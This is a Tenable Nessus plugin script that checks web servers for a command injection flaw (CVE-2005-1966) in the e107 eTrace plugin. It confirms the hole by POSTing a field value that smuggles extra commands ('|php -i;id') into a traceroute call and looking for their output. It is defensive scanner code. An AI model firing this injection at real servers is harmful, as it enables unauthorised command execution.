code | #
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description) {
script_id(18479);
script_version("1.23");
script_cvs_date("Date: 2018/11/15 20:50:16");
script_cve_id("CVE-2005-1966");
script_bugtraq_id(13934);
script_name(english:"e107 eTrace Plugin dotrace.php Arbitrary Code Execution");
script_summary(english:"Tries to execute arbitrary code via the eTrace plugin");
script_set_attribute(
attribute:"synopsis",
value:
"The remote web server hosts a PHP script that is prone to arbitrary
command execution."
);
script_set_attribute(
attribute:"description",
value:
"The installation of e107 on the remote host includes the eTrace
plugin. This plugin fails to sanitize the 'etrace_cmd' and
'etrace_host' parameters of the 'dotrace.php' script before using them
in a system() call. An attacker can exploit this flaw to execute
arbitrary shell commands subject to the privileges of the userid under
which the affected application runs."
);
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/402120");
script_set_attribute(attribute:"see_also", value:"https://www.securityfocus.com/archive/1/407475/30/0/threaded");
script_set_attribute(attribute:"solution", value:"Upgrade to eTrace plugin version 1.03 or later.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2005/06/11");
script_set_attribute(attribute:"plugin_publication_date", value:"2005/06/13");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_set_attribute(attribute:"cpe", value:"cpe:/a:e107:e107");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"CGI abuses");
script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
script_dependencies("e107_detect.nasl");
script_require_ports("Services/www", 80);
script_require_keys("www/e107");
exit(0);
}
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("audit.inc");
port = get_http_port(default:80, php:TRUE);
# Test an install.
install = get_install_from_kb(appname:'e107', port:port, exit_on_fail:TRUE);
dir = install['dir'];
url = dir + "/e107_plugins/etrace/dotrace.php";
# Check whether the affected script exists.
r = http_send_recv3(method:"GET", item:url, port:port, exit_on_fail:TRUE);
res = r[2];
# If it looks like dotrace.php...
if ("potential hacking attempt" >< res) {
# Try to exploit the flaw by running "php -i" and "id".
postdata = "etrace_cmd=traceroute&" +
"etrace_host=127.0.0.1|php%20-i;id";
r = http_send_recv3(method:"POST", item:url, port: port,
content_type: "application/x-www-form-urlencoded",
data: postdata,
exit_on_fail:TRUE);
res = r[2];
# There's a problem if the results look like output from...
if (
# either phpinfo or...
"PHP Version =>" >< res ||
# the id command
egrep(string:res, pattern:"uid=[0-9]+.* gid=[0-9]")
)
{
security_hole(port);
exit(0);
}
}
audit(AUDIT_WEB_APP_NOT_AFFECTED, "e107", build_url(qs:dir, port:port));
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